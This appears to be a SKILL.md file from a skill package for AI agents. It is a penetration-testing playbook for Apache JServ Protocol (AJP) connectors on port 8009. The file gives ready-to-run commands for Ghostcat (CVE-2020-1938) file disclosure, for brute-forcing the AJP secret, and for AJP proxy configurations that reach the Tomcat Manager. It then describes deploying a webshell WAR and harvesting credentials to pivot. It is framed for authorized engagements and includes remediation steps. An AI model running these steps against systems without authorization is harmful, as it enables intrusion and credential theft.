pentesting-ajp
$
npx mdskill add xalgord/xalgorix/pentesting-ajp- Default port `8009/tcp` (`ajp13`). AJP is a binary, packet-oriented, optimized HTTP used by a front-end (Apache/nginx) to talk to a Tomcat/servlet backend. - When `nmap` shows `8009/tcp open ajp13`, or you see a Tomcat behind a reverse proxy. - AJP is more interesting than plain HTTP because the **backend trusts the proxy** to set internal request metadata (authenticated user, TLS info, arbitrary request attributes).
SKILL.md
.github/skills/pentesting-ajpView on GitHub ↗
---
name: pentesting-ajp
description: Testing Apache JServ Protocol (AJP13) connectors (default 8009/TCP) for the Ghostcat LFI/RCE vulnerability (CVE-2020-1938), trusted-request-attribute abuse, AJP secret brute forcing, and reaching the Tomcat Manager via an nginx/Apache AJP proxy during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- ajp
version: '1.0'
author: xalgorix
license: Apache-2.0
---
# Pentesting Apache JServ Protocol AJP (port 8009)
## When to Use
- Default port `8009/tcp` (`ajp13`). AJP is a binary, packet-oriented, optimized HTTP used by a front-end (Apache/nginx) to talk to a Tomcat/servlet backend.
- When `nmap` shows `8009/tcp open ajp13`, or you see a Tomcat behind a reverse proxy.
- AJP is more interesting than plain HTTP because the **backend trusts the proxy** to set internal request metadata (authenticated user, TLS info, arbitrary request attributes).
## Quick Enumeration
```bash
# Nmap AJP scripts (auth, headers, methods, request)
nmap -sV --script ajp-auth,ajp-headers,ajp-methods,ajp-request -n -p 8009 <IP>
# Ask AJP directly for an interesting path and save the body
nmap -p 8009 --script ajp-request \
--script-args 'path=/manager/html,method=GET,filename=ajp-manager.out' <IP>
# Allowed methods/headers on a custom path
nmap -p 8009 --script ajp-headers,ajp-methods \
--script-args 'ajp-headers.path=/,ajp-methods.path=/manager/html' <IP>
```
## Critical: Checks Most Often Missed
- **Ghostcat (CVE-2020-1938)** — an LFI in AJP that reads files under the web root such as `WEB-INF/web.xml` (often containing credentials); if the app allows file upload, it escalates to RCE. Patched in Tomcat **9.0.31, 8.5.51, 7.0.100**. Any 8009 reachable from an untrusted network is a high-value target.
- **Trusted request attributes** — AJP can carry `REMOTE_USER`/`remote_user`, client cert attributes (`javax.servlet.request.X509Certificate`), and `AJP_*` proxy metadata. Apps that make security decisions on proxy-supplied data can be bypassed. Modern Tomcat returns **403** for unknown attributes unless they match `allowedRequestAttributesPattern` — a permissive regex is worth investigating.
- **AJP secret brute forcing** — post-Ghostcat Tomcat requires an AJP `secret` by default; brute-force/fuzz it with AJPFuzzer.
- **HTTP->AJP request smuggling/desync** — front-end (httpd `mod_proxy_ajp`) and backend may disagree on request boundaries, smuggling a trusted AJP request.
### How to CONFIRM
- Ghostcat: a crafted `ForwardRequest` returns the contents of `/WEB-INF/web.xml` (XML body) instead of a 403/404. Use the exploit-db PoC (48143) or AJPFuzzer.
- Trusted-attribute abuse: setting `REMOTE_USER` via AJP changes the app's authorization decision (e.g. reaching an auth-gated page).
- Proxy reach: after standing up an AJP proxy, browsing `http://127.0.0.1/manager/html` returns the Tomcat Manager.
## Workflow
### Step 1: Enumerate
Confirm `ajp13` on 8009 and run the AJP NSE scripts. Note Tomcat version (for Ghostcat patch level) and whether a `secret`/`allowedRequestAttributesPattern` is enforced.
### Step 2: Authenticate / unauth access
Reproduce Ghostcat-style file disclosure with AJPFuzzer's `forwardrequest`, abusing the include attributes:
```bash
java -jar ajpfuzzer_v0.7.jar
connect <IP> 8009
forwardrequest 2 "HTTP/1.1" "/" 127.0.0.1 <TARGET_IP> <TARGET_IP> 8009 false \
"Cookie:test=value" \
"javax.servlet.include.path_info:/WEB-INF/web.xml,javax.servlet.include.servlet_path:/"
```
If a secret is required, fuzz it:
```bash
java -jar ajpfuzzer_v0.7.jar
connect <IP> 8009
genericfuzz 2 "HTTP/1.1" "/" "127.0.0.1" "127.0.0.1" "127.0.0.1" 8009 false \
"Cookie:AAAA=BBBB" \
"secret:FUZZ" /tmp/ajp_secret_candidates.txt
```
### Step 3: Exploit / Extract
- Read `WEB-INF/web.xml` and other web-root files via Ghostcat; harvest Manager/DB credentials.
- Reach the Tomcat Manager through an AJP proxy and continue with Tomcat WAR-deploy RCE.
nginx with the third-party `ajp_module`:
```nginx
upstream tomcats { server <TARGET_SERVER>:8009; keepalive 10; }
server {
listen 80;
location / { ajp_keep_conn on; ajp_pass tomcats; }
}
```
Apache `mod_proxy_ajp`:
```apache
a2enmod proxy proxy_ajp
ProxyPass / ajp://<TARGET_SERVER>:8009/
ProxyPassReverse / ajp://<TARGET_SERVER>:8009/
# If the backend requires a secret (modern Tomcat):
# ProxyPass / ajp://<TARGET_SERVER>:8009/ secret=<AJP_SECRET>
```
Then browse `http://127.0.0.1/` — if `/manager/html` or `/host-manager` is reachable, deploy a malicious WAR.
### Step 4: Post-access / pivot
With Manager access, deploy a JSP webshell WAR for RCE on the Tomcat host. Use recovered credentials (from `web.xml`/datasource configs) to pivot to backend databases and internal services.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **AJP13** | Binary, packet-oriented protocol; Apache/nginx -> Tomcat with persistent TCP connections |
| **Ghostcat (CVE-2020-1938)** | AJP LFI reading web-root files (`WEB-INF/web.xml`), RCE if upload exists |
| **ForwardRequest** | AJP packet that carries the proxied request + trusted attributes |
| **Request attributes** | `REMOTE_USER`, X509 cert, `AJP_*` metadata the backend trusts from the proxy |
| **secret / secretRequired** | Modern Tomcat AJP shared-secret requirement |
| **allowedRequestAttributesPattern** | Regex gating which forwarded attributes are accepted (403 otherwise) |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **nmap ajp-* NSE** | ajp-auth, ajp-headers, ajp-methods, ajp-request |
| **AJPFuzzer (Doyensec)** | Craft ForwardRequest packets, Ghostcat primitives, brute secrets, fuzz attributes |
| **Ghostcat PoC (exploit-db 48143)** | CVE-2020-1938 file disclosure exploit |
| **nginx_ajp_module** | Proxy 8009 to reach Tomcat Manager |
| **Apache mod_proxy_ajp** | Alternative AJP proxy pivot (supports `secret=`) |
| **Metasploit / Tomcat WAR deploy** | RCE once Manager is reachable |
## Common Scenarios
### Scenario 1: Ghostcat credential disclosure
A pre-9.0.31 Tomcat exposes 8009; a crafted ForwardRequest returns `WEB-INF/web.xml` containing Manager credentials.
### Scenario 2: Manager via AJP proxy
8009 is reachable but 8080 is filtered; an nginx `ajp_pass` proxy reaches `/manager/html`, and a WAR upload gives RCE.
### Scenario 3: Trusted-attribute auth bypass
The app trusts `REMOTE_USER` from the proxy; setting it over AJP reaches an admin endpoint without authenticating.
## Output Format
```
## AJP Finding
**Service**: Apache JServ Protocol AJP13 (8009/tcp)
**Severity**: <Critical|High>
**Target**: <IP>:8009 Tomcat: <version>
### Evidence
- Ghostcat (CVE-2020-1938): retrieved WEB-INF/web.xml (creds: <yes/no>)
- AJP secret: <not required | brute-forced value>
- Manager reached via AJP proxy -> WAR deploy RCE
- Trusted-attribute abuse: REMOTE_USER override accepted
### Reproduction
ajpfuzzer> forwardrequest ... "javax.servlet.include.path_info:/WEB-INF/web.xml,..."
ProxyPass / ajp://<IP>:8009/ # then browse /manager/html
### Recommendation
1. Patch Tomcat to >= 9.0.31 / 8.5.51 / 7.0.100 (Ghostcat)
2. Disable the AJP connector if unused; bind it to loopback
3. Require an AJP secret (secretRequired=true) and a strict allowedRequestAttributesPattern
4. Never expose 8009 to untrusted networks; firewall to the proxy host only
```